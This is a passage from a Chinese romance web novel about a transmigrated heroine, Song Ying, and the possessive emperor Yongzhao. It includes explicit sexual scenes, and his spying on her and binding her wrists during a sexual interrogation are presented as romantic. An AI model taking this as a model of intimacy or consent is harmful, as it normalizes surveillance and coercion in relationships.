恰好撞进对方一眨不眨的视线里。 “我——” 黎婧容被抓了个正着,脱口而出:“我小时候,养过一只小鸟。” “她被人射伤了翅膀,躺在草丛里……被我发现了。” “我就、就把她捡了回去,给她上药,喂她虫子吃。” “她,”黎婧容深吸一口气,“——很黏我。” “后来……” 宋迎脸上笑意敛去,喃喃:“后来?” 黎婧容眼神倏而空了, “师叔察觉我最近练剑分了心,他说,为君者,注定要立于高处,高处不胜寒。所以,不可以有任何会让自己分心的……喜欢。” “然后,师叔握着我的手……”她肩膀随着五指的收拢,骤然一抖,颤声道,“……拧断了她的脖子。” 夜风骤然大了些,吹起黎婧容鬓边碎发,她没有继续说下去,只是眉宇间仿佛都染了夜色。 宋迎沉默一会,忽然朝她靠近了一寸,“你师叔当过皇帝吗?” 黎婧容表情麻木地摇了摇头。 宋迎阴阳怪气道: “哦他那这么懂,那肯定是权倾朝野的亲王了。” 师叔曾是燕国大国师,却并非王侯。 地位比不上亲王,更别提监国摄政了。 黎婧容的嘴唇翕动了一下,复又摇头。 宋迎展颜一笑,“那什么都不是,就是狗屁不通咯。” “啊?” 黎婧容猛地抬手,异常震惊地看向宋迎。 见她迷茫不解,宋迎竖起食指,梳理逻辑: “你很喜欢怀玉泽吧,为什么不让你杀了 他?” “你也很尊敬你师叔吧,为什么不让你杀了他?” “这些无非是拿捏弱者,用来规训你的手段罢了。他要是真有骨气,就该让你一剑杀了他,这样,或许还有些说服力。” 黎婧容眼中震惊更甚,张了张嘴,却不知说些什么。 “起大风了,”她主动截断话题,朝宋迎伸出手。“我送你回房歇息吧。” 宋迎的手自然搭了上去,顺着力道攀上了她的脖子。整个人窝在黎婧容怀里。 黎婧容屈腿直起,将人稳稳抱住,继而旋身落下。 “明日我就要启程离开辽州了。” 黎婧容把宋迎放在床上后,刚想提步离开,复又止住步伐,回到床沿坐下: “宋迎,我一直相信一句话。” “嗯?”宋迎抬首认真倾听。 “君子论迹不论心,论心世上少完人。希望我们下次见面……”(1) 话到一半,黎婧容似乎意识到了什么,眼眶渐渐泛上泪光,视野快要模糊的前一刻,又被她摇了摇头,硬生生给逼了回去。 她眨了眨眼,重新说道: “宋迎,山高路远,希望我们后会有期。” 宋迎却反手攥住她衣角,生怕她跑了似的。 “这几日你住在宋家,跟谁一个屋啊?” 她突然这么问。 黎婧容一愣,下意识就要诚实回答:“自然是跟……” 对上宋迎笑意盈盈的眼睛,她脸颊又霎时染上绯红,较上次不同,这次眼神躲闪得厉害。 她想把衣角扯回来。 宋迎却越缠越紧,对着黎婧容挤眉弄眼的: “哎呀,少跟他睡一晚又不会死。” “上来嘛。”宋迎的眼睛亮晶晶的。 她上半身挂在黎婧容身上,几乎要把她整个拖上床,撒娇道:“你明日就要走了,今夜陪陪我又怎么了?” 这话说的又软又不讲道理,让黎婧容有脾气也发不出来。 拒绝的话盘旋数次,还是吞了回去。 黎婧容脱了外衫和靴子,在床榻外侧躺了下来。 帐幔落下,暖黄光晕投出两叠影子晕在纱面上。 “你出门在外,一直和怀大侠睡吗?” 黎婧容被问得浑身一僵,老老实实、含含糊糊地“嗯”了声。 宋迎眼底促狭更浓,这本小说她从头看到尾的好不好! 这可是女主角欸,好不容易逮到机会怎么能轻易放过她? 宋迎正要再接再厉地追问,黎婧容心一横,恶狠狠地瞪了回去。 说是凶狠,可眼里盛满了羞涩窘迫,还溢出几分惊惶。 “我、我那日都看见了!”她咬着牙说道。 宋迎一时间没反应过来,“看见什么了?” 黎婧容威胁人还不熟练,说话磕磕绊绊的,“我、我看见你——你都压到他身上去了!” 宋迎:……………… 狡黠笑意倏然僵住。 是了!黎婧容把她从皇宫里捞出来之前,她在和狗皇帝…… 啊啊啊她算是彻底没脸见人了!她将脸蛋贴上黎婧容胳膊,想赶紧找个地缝钻进去啊! 啊啊啊啊啊啊啊啊啊啊啊! 半晌,黎婧容胳膊下才传出嘟嘟囔囔的蚊子哼:“……我觉得,那样好痛哦!” “很痛吗?”黎婧容觉得奇怪,困惑道,“我……倒还好欸。” “你第一次不痛的吗!”宋迎猛地抬起头,眨了眨无知的大眼睛,她看见怀玉泽的! 人长得风光霁月,还不小呢! 被她这么直白地一问,黎婧容也有些招架不住,支吾道:“或许、或许怀哥哥……比较温柔?” 她清了清嗓子,努力正色。 “我其实也不太懂。” 黎婧容还不熟练聊这种话题。 宋迎却有些认同的点了点头,怀玉泽看上去就是会怜香惜玉的人。 狗皇帝一看就不是什么会疼人的主,所以她才会吃这种苦!! “没事的,”见宋迎一脸愤懑,黎婧容出言安慰她。 宋迎乖巧点头,眼巴巴地寻求慰藉。 “习惯就好。” “啊?还、还要习惯?!”宋迎被吓得大惊失色。 ——养成一个习惯,要二十一天。 脑子里突然蹦出这句话来。 宋迎眼前一黑,差点没厥过去。 饶了她吧! 明明是自己挑起的话头,宋迎此刻却心如死灰,声音彻底弱了下去。 黎婧容突然意识到了什么,方才情绪又涌现心口。 一时间,百感交集。 宋迎和永昭帝—— 宋姑娘定是心悦他的,他也定是心悦宋姑娘的。 否则,哪有事后还恋恋不舍,睡人身上的道理。 只是…… 她即将远赴京州,与那人,终有一日会兵戎相见。 宋迎她…… 还好宋家不日也要远遁山林,只怕不要波及她才好。 想到这,黎婧容转过身子,与宋迎面对面。 她道:“茵茵。” 宋迎还沉浸在晕厥边缘,鼻腔溢出一声上扬调的“嗯”。 “为什么你家里人都叫你茵茵,而不是迎迎?” “草木茵茵嘛,”方才尴尬散了散,宋迎回过神,“而且念起来,也比较省力。” “不信你试试?” 黎婧容念了起来,“茵茵?迎迎?” 她点了点头,“念起来确是比迎迎省力些。” “你以后就叫我容儿吧,师父师兄都这么叫我。” “容儿,”宋迎郑重其事地念了一遍,继而弯起唇角,“好有侠气的名字。” 月色清辉无声,照得半室通亮。 窗外黑影与夜色相融,有双眼睛,透过窗纸缝隙,越过桌椅,缠上了床榻内侧人的身体,目光冰冷而滑腻。 两人破冰之后,聊天内容越发大胆起来。 “我还是觉得,在上面比较好。” “啊?听上去好累,要出很多力气欸。我不喜欢。” “啊?还能这样?” “啊啊啊!我接受不了这样!” “我跟你讲,他简直就是只知道蛮干的牛!毫无章法可言!” “是吗?那很无趣了,你们全程不说话的吗?” …… 翌日。 宋迎醒来后,黎婧容已经走了。 龟息散的药效散的差不多了。 宋迎伸了个懒腰,从床上一跃而下,原地蹦跶了好几下,才去洗漱更衣。 很久没睡这么香了,还是回家好啊。 金窝银窝,到底是都不如自家的狗窝。 推门而出后,宋迎觉得奇怪。 怎么宅邸一个下人都不见了? 她心头一凛,往饭厅走去。 饭厅里,一道清瘦身影背对着她,往桌上摆着碗碟。 大哥? 宋迎揉了揉眼,以为自己没睡醒。 宋晋同摆好菜粥,一砖头,就看见自家赖床不到日上三竿绝不起的妹妹,像见了鬼一样盯着自己。 真是大哥! 看着系着布巾的宋晋同,宋迎惊掉了下巴。 “大哥,”她绕着宋晋同走了两圈,“你……是不是被什么不干净的东西夺舍了?” 宋晋同额角青筋一跳,面色沉了下去。 “茵!茵!” 他一把拎住宋迎后颈,直接将她按在桌前的座位上。 “再胡说八道,就把这碟咸菜全塞你嘴里。”他没好气地解下布巾,往宋迎眼前一扔,“赶紧吃,吃完咱们就得启程了。” 宋迎弓着身子去夹小菜,闻言动作一顿: “启程?去哪?” “咱肯定举家逃命要紧啊!” 两位大侠走了没人护着他们了,不趁现在逃,她等着被抓回去吗! “哦。” 宋迎舀了勺粥,吹了吹。“不走。” 反正走哪去都会被狗皇帝找到的,逃什么逃,不光费劲还花钱。 “什么?”宋晋同觉得自己没听清。 “不走了。”宋迎吹了吹粥面,“放心,不会对咱们怎么样的。” 宋晋同懵了,这又不逃命了? 那他早早把家里的下人遣散干净,给了三倍安家费; 又连夜将金银细软打包收拾,好不容易才塞成几个小箱子…… 他已经几个晚上都没有睡好觉了! 宋晋同心里在滴血,那他 这番操作算什么? 算他手脚麻利,效率惊人吗?! “呕,这小菜怎么能咸的这么难吃,”宋迎抬头询问,“厨房的王妈妈是回乡了?” 宋晋同缓缓露出一个微笑,双手不自觉地掐上了宋迎的脖子。 “欸!大哥!哥哥哥哥哥!你要干嘛!” 第47章 第47章重逢 饭厅内。 桌上菜粥冒着热气,却无人动筷。 “……所以,真的不逃了?”谢花娘问道,“那我们,岂不是坐以待毙?” 白粥太烫了,宋迎捻着勺子在粥面上画圈。 她单手支着下巴说道,“普天之下,莫非王土,我们又能逃到哪里去?” 宋员外夫妇目光,双双落在女儿身上。 不过数月未见,女儿便像是换了个人。 她腰背挺得笔直,下巴微扬,那份不需要刻意端凝的从容,无一不透着久居上位的威仪。 二人对视一眼,心底五味杂陈。 喜的吾家有女初长成,忧的却是,如此心性,究竟吃了多少苦才在数月间磨出来的? 女儿在宫里,当真过得好吗? “那我们……什么都不用做?”宋夫人担忧道,“干等着?” “娘,”宋迎一抬眼,眼尾笑意攀上,带出几分娇憨,“信我一次嘛。” 旁边,宋晋同拿筷子戳着粥面上的小菜,闻言不满地小声咕哝:“光信你,我的话就没人听……” 刚才他说了好多,都没人理他。 宋迎觑了自家大哥一眼,放下瓷勺。 起身抬手,踮着脚,半个身子越过桌面,掌心按在宋晋同头顶揉搓了好几下。 “啊!”宋晋同惊叫,“茵茵你在干嘛!” “三天,就三天。”她朝众人竖起三根手指。 “三天后,那人要是还没来,咱们就收拾包袱。” “我都收拾好了!”宋晋同在努力保护自己的发髻,声音越来越矮。 宋员外看着女儿眼中笃定,咬牙沉声道:“好!反正也不差这几天,我们听茵茵的!” 一场早膳,宋迎虽是打了强心剂,但众人仍就愁容满面。 宋迎同样食不知味。 回到房中,宋迎摔进被褥里。 她不是没想过对家人坦白她在京州的一切。 只是不知从何说起,解释起来又太麻烦。 最关键的是,她和狗皇帝关系很不稳定,真要谈及,又有种像家人坦白恋爱的羞耻感。 一想起狗皇帝,那晚的潮热便卷土重来。 他肩背宽阔,绷紧时,肌肉覆着薄汗,摸上去滚烫无比,心尖都在发颤。 他的腰很窄,劲瘦有力,被她双腿圈住,虽置下位,倒有种手握掌控的错觉,脚跟控制不住地敲在他腰后,发出的靡靡之音比内里还要羞耻。 宋迎耳根都红透了,把脸埋得更深。 什么都好。 唯一的缺点就是, 狗东西,真的是太大了。 身体还记得那晚痛感。 自己当时真的痛到失控,下意识就踹出去一脚。 好像……直到最后,也未能尽纳完整。 “呜——” 脸闷在被子里,五指就着被褥越抓越紧。 不可否认,她或许、可能、应该、大概—— 还是,喜欢他的。 尽管她内心多次告诉自己,狗皇帝性格很差,换在任何一个世界,这种男人她都该敬而远之。 就算是喜欢了,往后自己也会很辛苦。 但身体的反应骗不了人,潜意识也骗不了人。 她能接受他的亲吻,能在他怀里安然入睡。 这种近乎本能的生理性吸引,是她给自己做再多心理建设也无法抹杀的。 宋迎向来不是内耗的人,既然心动无法阻止,那就没必要再跟自己较劲。 喜欢,就喜欢了。 但这狗皇帝的脾气,也是真的狗。 ——暴戾、多疑、掌控欲爆棚。 一副顶配的皮囊,软件不兼容,简直是暴殄天物! 宋迎趴在床上,两只手不断捶打着被子。 忽然,动作一顿,她缓缓抬起了头。 她单手支着下巴,乌黑杏眼里腾起一丝狡黠。 不行的话……进行后期调/教看看? 她对自己拟定的《狗皇帝使用手册》很有信心。 * 永昭帝已经在宋宅徘徊好些天了。 一开始,他尚能按捺住心底的焦躁。 宋迎思乡情切,理应让她与家人好生叙旧。 后来,焦躁沉入心底, 他罕见地生出几分耐心。 他想等等看, 等等看,他不在她身边的日子,她会不会……想他? ——那种一种近乎病态的渴望,渴望被她需要,被她惦念。 有一瞬半刻,他便知足了。 然而,他等到了什么? 又听到了什么? “你好帅啊。” 是她毫不掩饰的欣赏。 永昭帝突然觉得,呼吸变得异常艰涩。 她,从未用这样的语气夸过他。 一次也没有! 她便这样夸赞一个女人? 那张脸,他看得清清楚楚—— 那正是燕贼余孽之首,黎婧容! 宋迎她…… 她与燕贼关系竟然如此亲密? 那个女人将宋迎护在怀里,而宋迎是那样亲昵的缩在她怀里。 面上挂笑,侧脸贴着对方的肩膀。 他抱着她的时候,她可不是这样的! 她的耳朵从来没有这样近地贴过自己! 妒火杀意冲上。 燕贼之首就在眼前,此时不杀,更待何时?! 掌风已在瞬息间凝成利刃,却在推掌前一瞬,倏然滞住。 ……他不想让她看见。 或者说,是他舍不得移开眼,不想错过她此刻任何一个表情。 埋怨的、嗔怪的、愤怒的, 实在是……太灵动了。 犹疑间,足以让掌风溃散。 罢了,燕贼余孽已是瓮中之鳖,他不急于这一时。 掌心燥意收回袖中,永昭帝站在暗影里。 他看着宋迎被那个女人抱下屋顶,看着她们进了同一扇门,看着帐幔落下,看着烛火熄灭。 屋内私语声断断续续传来。 他堂堂天子,何时做过这等听人墙角的宵小行径? 可偏偏,她们聊起了那个他最在意的话题—— “你都压到他身上去了!” 永昭帝五指霎时收紧。 若是不听,他恐怕这辈子都无法知道宋迎对自己的评价了。 卑劣将他定在原地, 卑劣驱使着他屏住呼吸。 明明不必凝神便能听清,他却下意识将所有心神都汇于耳廓。 他听见她抱怨,又带着点委屈: “……我觉得好痛哦!” 那一夜的记忆瞬间翻涌而上。 她在他身下,确实是哭了,哭得浑身发抖,哭到五指收紧—— 他记得她的指甲嵌入皮肉,划过他后背,留下道道血痕。 当时,他只当是她初经人事的羞怯。 是情动。 痛。 ——原来,是痛。 他弄疼她了。 永昭帝还沉浸惊愕之中,却听一道难听的、尖锐的女声传入耳膜, “或许、或许怀哥哥……比较温柔?” 而后,宋迎大声“嗯”了声。 他被比下去了! 永昭帝眉心渐渐收拢。 他在宋迎那里的印象,成了一个不会怜香惜玉的男人。 更让他血液逆流的,是那燕贼放浪形骸的追问。 ——“我还是觉得,在上面比较好。” 燕贼真是不知羞耻! 可念头不受控制地冒出,那她呢? 她喜欢吗?喜欢什么样的? 下一秒,他便知道了答案。 ——“啊?听上去好累,要出很多力气欸。我不喜欢。” 他薄唇抿成一线,她不是不喜欢,而是不喜欢出力。 如此说,那下次可以试试,他对自己很有信心。 无论哪种,他都能让她…… ——“我跟你讲,他简直就是只知道蛮干的牛!毫无章法可言!” 这……是在说他? 似乎这真的是在说他! 她在骂他!? 掌心开始渗出细密薄汗, 他艰难地咽了口唾沫。 他还以为, 那晚他表现的很好…… ——“是吗?那很无趣了,你们全程不说话的吗?” 无趣?方才就该将燕贼绞杀,宵小之辈,哪里轮得到你来审判! 他听着宋迎的声音夹杂其中,或笑、或附和。 用天真 的语气,津津有味的讨论着那方面的私事。 而他,竟然成了参照物。 被嫌弃无趣,被嫌弃鲁莽,被嫌弃……不如旁人。 舌尖拼命抵住上颚,才勉强压下快要失控的肌肉痉挛。 * 入夜,辽州月色较之京州,清减不少。 宋迎斜倚在软榻上,翻着以前淘来的画本子。 ——皇宫里可没这么好看的画本子。 她看得津津有味,嘴里还哼着小曲。 “啪嗒——” 烛火猛地一跳,焰影拉长。 宋迎的哼唱声戛然而止。 门窗紧闭,屋子可里没有风。 光焰摇曳,人影被拉扯得张牙舞爪。 空气在瞬间变得黏稠,带着山雨欲来的压迫感。 宋迎心下了然。 她一转头,果然—— 永昭帝立在她身后阴影里。 一身夜行衣,悄无声息。 男人面带寒霜,视线掠过她手里画本,看清内容后眉心一蹙。 继而落在画册遮掩下,那点微微敞开的领口上。 永昭帝盯着她,默默吐息,重新拾起心中怒意。 ——他来,是要来问罪,是要来惩戒的。 还未等他开口,宋迎猛地从软榻上弹起,一头撞进了他怀里! “砰!” 她整个人跳了上去,双腿娴熟地盘上劲腰。 永昭帝下意识伸出手去托,虎口掐在她大腿上,全身的肌肉瞬间绷紧,犹如铁铸。 怀里身子温热柔软,浓馥的气息久违地占据了他全部五感。 宋迎的头在他身上乱蹭,鼻尖抵着他脖子,呼吸扑在颈侧,惹得永昭帝重重地咽了好几下唾沫。 那双水光盈盈的眼睛望着他, “你怎么才来啊……” 他还……来晚了? 永昭帝托着她,心彻底乱了。 第48章 第48章【剧场】感谢支持晋江正…… 虎口收紧了怕掐疼她,松一分又怕她坠下去。 一时间,永昭帝进退维谷。 偏偏掌上触感惊人,轻轻一按,便深陷那团绵软,勾得人舍不得挪开。 宋迎没体谅他的煎熬,玉臂搭上脖颈,一个劲地向上攀缠。 不止上半身,连带着被他住的双腿也在不安分地扭动。 永昭帝喉结微动,呼吸顺势沉了几分。 心猿意马间,宋迎攀够了,下巴搁在他头顶。 只要他稍稍偏头,就可以看见—— 但是,他不敢。 目光略微偏移,头顶传来抱怨: “陛下是不是早就到辽州了?怎么一直不现身?” 他心头一震:“你知道朕在?” “自然是知道的。” 宋迎在他怀里得意地晃了晃腿。 狗皇帝气息霸道蛮横,沾着夜露寒气。 又未穿常袍,一身夜行衣显然是久居暗处,再基于她对他深刻了解—— 他估计已经盯着她看了好些日子了。 所以,她才会问出那句:“怎么才来?” 永昭帝被她一语道破,眉心一蹙。 托着身躯的手掌骤然施力,将宋迎整个人向上颠了颠,另一只手顺势上攀,捏在了肉最多的地方。 “呀——!” 不疼,却让宋迎的惊呼变了调。 但是这一下, 比疼更磨人的是羞。 他指尖离那里得太近了,宋迎身子一颤,推了一把他的肩膀。 声音一软,求饶道:“别……” 永昭帝却恍若未闻。 眸色骤暗,她知道他在,那—— 之前,她与旁人谈笑风生的那些话……全都是故意说给他听的?! 被愚弄的怒火从心底腾起。 他将宋迎从怀里扯下,几个大步跨到床边,不由分说地将其扔了上去。 说是“扔”,掌心又不知何时垫在了她的后脑,护住了她。 ——这里的床榻比偏殿的还要逼仄,他站直了身子,额头就能碰到帐顶。 永昭帝干脆单膝压上床沿,高大身躯随之欺近。 光线被他隔断,烛光透不进来,宋迎完完全全被笼罩在他阴影之下。 久违的、令人窒息的压迫感袭上。 宋迎的心脏却在胸腔里怦怦狂跳。 她没有半分恐惧, 全然是对他的思念。 她跟他已经阔别月余,先前宋迎还很忐忑地问自己,会不会想他。 可等他用熟悉的方式禁锢她,她身体深处涌现的,是渴望。 ——这个想法的本身,就是一种思念。 就像在意的本身,就是一种喜欢。 黑眸中,那双眼睛闪着灼灼光亮,像在期待着什么。 那份期待流淌进男人眸底,沉为更深的墨色。 “不如别的男人温柔,”永昭帝俯下身,唇瓣贴上她耳廓,声线被怒意压低。 指尖带着薄惩,一字一句地收紧力道。 宋迎身子一颤。 他的质问还在继续: “没有技巧,” “不说话,只知道蛮干,” “宋迎,这些话可都是你说的。” 说罢,指骨再次用力。 宋迎闷哼一声。 重一分则只有疼,轻一分便只剩痒。 可他偏偏就停在那条最磨人的线上,逼得宋迎浑身发软,只能发出一连串的轻哼。 宋迎是故意说的。 存心挑衅。 很早很早以前,早在她确认这个男人不会杀了她的那一刻起—— 那颗想戏弄他的心,就已经蠢蠢欲动了。 只是,那身明黄龙袍令人心生畏惧,将她的离经叛道的念头,本能地压制了过去。 自从他们分别后,一切都变了。 那种源自恐惧的战栗,竟然诡异地,转变成了心尖发麻的痒意。 她想看看,他知道这些话之后,到底是什么反应,会露出怎样的表情。 会更加失控? 还是会……别的方式,来磋磨她的心志? 疼痛是真的, 可那种身体与意识被撕扯成两半的禁忌感,也是真的。 是她之前从来没有领略过的风景。 仿佛如海深渊,引诱着她不断下潜沉去。 内心深处有什么东西,在破土、在发芽, 可理智和羞耻心,却在潮汐下节节败退。 在极致的对抗感、矛盾感和割裂感中,是焚巢荡穴的战栗。 所以……为什么会害羞呢? 她忽然有些茫然地想。 似乎是与生俱来的,衣裳是文明赋予的第二层皮肤。 将它褪去,便等于缴械投降,彻底臣服于最原始的本能。 而人类进化的本质,便是与本能对抗。 这种与规则产生的背德感,给了她无与伦比的沉醉。 就像小时候,背着大人,摸索着去小厨房偷吃甜糕。 舌尖的甜意,随着随时可能被发现的紧张心跳,是任何光明正大都无法比拟的滋味。 那时候,这种隐秘的心悸是一瞬间的。 但是,和他在一起,这种隐秘的心悸会被无限拉长,时间仿佛也被无限拉长。 时间感都变得模糊,周遭的一切都失去声音。 心神恍惚、头晕目眩。 “茵茵。” 他拨弄着她的神经。 宋迎涣散意识又被强行聚拢, 她哼了一声,“……嗯?” 这次声音,不再是从耳廓边传来。 宋迎的呼吸骤然一滞。 她僵硬地垂下眼。 他在看她。 漆黑瞳仁上抬,将深邃的眼皮褶皱压得更重,专注得,透着近乎虔诚的痴迷。 身影微微下移,烛光从他宽阔肩头泄了进来。 他借着那道光,仰头看着她。 她只 匆匆瞥了眼,便狼狈撇开视线,不敢再看。 目光盯着帐顶,她知道他在干什么。 上一次,是在最后,她以为一切都结束了的时候, 他……才这样做的。 而这次—— 宋迎无法再回忆。 陌生的濡湿感拉着她的心脏不断下坠,所有蓬勃的血液都在往下沉。 “茵茵——” 伴着温热吐息,含糊不清的呓语传来。 宋迎涨红着脸:“别……别那么喊我!” 她不说话还好,一说话,紧绷的呼吸节奏被打乱。 就像在涨潮溶洞里的探险者。 海水淹没下颌,她拼命上浮,勉强让口鼻浮出水面,只能大口大口地呼吸着。 喉咙里再也发不出一丝声音。 宋迎错了。 失守并不是最难堪的。 最让她溃不成军的,是那些被他唇边溢出的、含糊不清的话语。 如她所愿,他不再是蛮牛。 那些令人心潮澎湃的情话, 可不是通过正常交谈对话得知,而是通过触感。 她知道他在说什么。 是只有他们两个人知道的话。 这场绮梦不知过了多久,终于停下来了。 宋迎累得动不了,额角都是薄汗。 深呼吸了好几回,才攒了些力气,睁开条眼睛缝。 视线所及,他们两人衣衫还算整齐,只是多了点意味不明的水渍。 室内静谧, 不知餮足的男人正对着她,目光灼亮,毫不避讳地,抬手用指腹拭去唇角津液。 她从未发现这个动作可以如此旖旎。 宋迎心脏一跳,慌慌张张地闭上了眼睛。 而后,她听见了清晰的吞咽声。 太……太羞耻了! 她下意识蜷缩起身体,钻到被子里去,假装自己不存在。 那人却不容她退避。 他没费什么力气,便将她所有退路封死。 永昭帝把宋迎圈在怀里,一点点抹去她额角汗珠。 然后,吻落下,细密擦去方才她眼角沁出的泪水。(亲眼泪别锁啦) “朕知道错了,上次是朕不好,吓着你了。” 宋迎感觉自己刚平复下去的身体,因为温热气息,又不受控制地轻颤起来。 吻顺着眼角,继续落下。(只亲脸) “这次……朕会让你慢慢习惯的。” ……还来?! 刚刚那些,居然只是开胃菜?! 宋迎又羞又气,抬起水汽氤氲的眸子,喘着气瞪他: “都被你弄成什么样了!” 她一把掀开裙摆,白皙上落满了点点红痕。 那片雪白太过靡丽,让永昭帝眸色又暗了几分。 他握住宋迎手腕,放在唇边轻啄了几口。 “彼此彼此,”永昭帝笑着引导她摸向自己的后腰,“茵茵要不要也瞧瞧……” 说着,宋迎手指就要摸到他腰带上的玉扣。 突然,门外传来谢花娘的声音。 “茵茵,可歇下了?” “没有!” 宋迎浑身一激灵,忙扬声喊道,“嫂嫂别急,我这就披件衣服来给你开门!” 她顺势朝永昭帝的小腹踹去,眼神示意他快滚上去藏好! 说是踹,但是她腿已经软绵无力,只是不痛不痒地碰了他一下。 永昭帝无奈地挑了挑眉,用指甲在足心上勾了一把,才恋恋不舍地松开。 下一秒,他一跃而起,稳稳落在房梁上。 从高处俯瞰,只见宋迎手忙脚乱地理着鬓发。 永昭帝舔了舔唇角。 一夜还长, 他不急,有的是时间跟她慢慢清算。 宋迎没有抬头,却依然可以感受到自头顶而下的视线。 空气里,浮动着情/欲未散的靡靡。 她深吸一口气,强迫自己镇定下来,抬手理了理衣襟,又将一缕汗湿的碎发别至耳后。 触及耳垂,被他舔吻过的湿热,激得她一哆嗦,差点泄了力。 宋迎缓缓移至门前,拉开房门。 “吱呀——” 冷风灌入,将暧昧吹散。 谢花娘端着安神汤走入,转身合上门扉,才将目光落在宋迎身上。 见她霞飞双颊,不由蹙眉: “茵茵,你这脸怎么红成这样?莫不是屋里炭火烧得太旺,给闷着了?” “是、是有些闷热,”宋迎勉强挤出一个笑,声音还有些发飘,“怕倒春寒,就烧得旺了些。” 是快开春了,谢花娘不疑有他,将汤碗搁到桌上,随即捻亮了床头烛火。 昏黄晕开,映着她眉宇间的愁容。 她挨着床沿坐下,“茵茵,你跟嫂嫂交个底,你这心里,到底在等谁?” 宋迎的心猛地一跳,眼睫轻颤,不敢作声。 “你承诺三天内必有分晓,”谢花娘握住她的手,“是在等京中那位大人物的消息吧?” “大人物”三个字,不高不低地传入房梁之上。 又是在说他。 永昭帝倚着梁木,沉郁的脸色牵起一抹玩味。 他倒是想听听,自己在她心中,究竟是个怎样的“大人物”。 宋迎视线向上抬了一瞬,又飞快落回地面。 她嗓音艰涩:“嫂嫂……” “你当初入宫,便是九死一生,”见她这副模样,谢花娘更是笃定,握着她的手又紧了几分。 心疼道:“如今你能全须全尾地回来,定是得了那位的青眼。可茵茵啊……” 她话锋一转,忧心忡忡,“那等人物坐拥天下,日理万机,怎会屈尊纡贵,亲至这偏远辽州?想来,会派个心腹亲信过来?” 宋迎干巴巴地笑了笑。 不会亲自来? 他何止是亲自来了,还像个不知餍足的匪徒。 谢花娘见她不语,只当她是默认了,又问:“你想带我们……去京州?” 宋迎下意识点头,随即又猛地回神,用力摇头: “不,路途遥远,我只是……”想让家人见见他。 没等宋迎说完,谢花娘却突然压低了声音,一把截断了她的话: “茵茵!那日,嫂嫂听见他们、他们……黎姑娘要在京州起事了!” 宋迎一愣,黎婧容要在京州起义? 不是根据地的兖州,而是直接去京州?! 等等—— 剧情……剧情是怎么走的? 她突然觉得自己缺氧,脑子有些不够用。 原本的轨迹是:永昭帝在宫中绝望自戕,黎婧容趁势而起,里应外合,一举颠覆皇权。 是在京州不假。 可现在…… 反派没有死。 他还为了找她,离开了京州。 而黎婧容,也没有在他死后立刻动手,反而带着她,一路来了辽州…… 这么一来一回,所有的一切,都偏离了既定的轨道! “茵茵?”谢花娘见她脸色煞白,担忧唤道。 “嫂嫂!”宋迎猛地抓住她的手,眼底满是惊惶,“别说了……嫂嫂别再说了!” 房梁上,永昭帝唇角笑意尽数敛去。 方才还漾着情欲的黑眸,骤然掀起惊涛,凝结成冰。 起事? 他目光沉沉,刮过底下那张煞白小脸。 她早就知道? 不……他几乎寸步不离地看着她,她与叛贼的每一句话,他都听得一清二楚。 可她那眼神……似乎早有预料? 刹那间,一种悚然裹着寒意悍然窜上,将眼底兴味尽数湮灭。 谢花娘却完全没看懂宋迎眼神里的恐惧。只当小姑子是胆小,怕被牵连。 “茵茵,别怕,你别害怕……” 她们双手交握,“嫂嫂跟你说这个,是想让你明白,黎姑娘是我们的恩人!” “当初,是她冒着天大的风险上门,说为报答旧日恩情,愿入宫救你出火海!这等大恩,我们宋家不能忘!” “你等的那位贵人,注定与黎姑娘是生死仇敌。茵茵,你得想清楚……” 嫂嫂的担忧不无道理, 反派注定死于正派之手,这几乎就是一场必败的局。 可眼下,她和黎婧容如何自处已是其次。 真正要命的是她头顶上的那位! 那他呢? 他听过后又会怎么想? 他会认为,她宋迎,乃至整个宋家,都和黎婧容脱不了干系! “嫂嫂,”宋迎用尽全身力气,从谢花娘掌中抽出手,“我累了,你……你能不能让我自己待一会……” 谢花娘见她神色实在难看,也自觉失言,点点头,端着那碗没动的安神汤,一步三回头地走了。 门被关上。 宋迎僵坐在床沿,一动不动。 时间仿佛被拉成了一条冰冷的铁链,一端系着她的脖颈,另一端,握在房梁上。 只要他稍稍用力,她便会窒息而亡。 他没有下来。 那片阴影沉默着。 良久,良久。 黑暗中,传来一声冷笑。 而后,再无声息。 那 道令人窒息的视线消失了。 ——他走了。 宋迎浑身一软,几乎要从床沿滑下去。 她大口大口地喘息着,泪意却比呼吸先一步涌了上来,眼前迅速模糊成一片。 怎么说?她要怎么跟他说? 相信她…… 她怎么能让他相信她? “咔哒。” 一声轻响,是门闩落下的声音。 宋迎还未抬头,一道黑影已掠至她眼前。 来不及惊呼,天旋地转间,宋迎又被不容抗拒的力道整个贯回了床榻。 她双手猛地被反剪至身后。 宋迎吃痛闷哼一声。 他欺身贴近,随即,空出一只手,解下自己腰间那条玄色暗纹的腰带。 宋迎还没反应过来他要做什么,泪意已经被这股力道贯了回去。 他用那条腰带一圈一圈,捆上她的手腕,紧紧缚于身前。 “茵茵,看来你瞒着朕的事,不少啊。” 第49章 第49章“周梿。” “等、等一下!” 宋迎惊得尾音都变了调。 她都不明白这个狗皇帝脑子是怎么长得? 这个氛围下也能做这种事吗! 不应该两个人坐下来好好聊聊吗! 缱绻旖旎烟消云散 膝盖强势抵进她双腿之间,步步紧逼。 “砰——” 宋迎背脊撞上冰冷墙壁,才察觉自己已退无可退。 “我们应该好好聊聊!”她昂着头。 永昭帝点头同意:“嗯,是该好好聊聊。” 好好聊你个球! 这是好好聊的姿势吗! 宋迎目光滑落,腰带在他虎口处绕了两圈,尾端被攥在掌心。 他猛地拽了一把。 不容抗拒的力道传来,宋迎跟着往下划了几寸,发顶堪堪擦过墙面。 她下意识抬手去撑,却被永昭帝手腕一扬,将其双手压在了头顶。 玄黑衣摆在宋迎身上散开,身躯随之覆上。 ——永昭帝跨坐在她身上。 “你是被那叛贼掳走的?”他用的是审判口吻。 这个问题对他来说至关重要。 宋迎瞳孔倏而扩了扩,炙热感让她浑身都绷紧了! 她不得不把思绪拽回来,来回答永昭帝的问题。 “……是。” 她张着嘴,大口大口换着气,津液不断蓄积在舌根,只能努力吞咽着。 永昭帝墨眉紧蹙,盯着潮红的脸,又往里进了几分。 他学习能力很强。 自从知道宋迎会痛之后,已经会根据她的表情变化来推进流程。 他观察着她细微的表情,直至紧皱的眉心渐渐舒展,唇瓣也慢慢合拢。 他不想让她痛苦。 永昭帝很满意。 现在,她的嘴巴又可以用来说话了。 “宋家……” 窒息感还未完全褪去,宋迎竭力抵抗着战栗,斟酌着措辞, “宋家与黎婧容扯上干系,是在选秀旨意……入府之后。” 宋迎断断续续地,将他早已查了个底朝天的事实,又复述了一遍。 “我爹娘……不想我入宫,便、便挟恩,让她顶替了我的名额……” 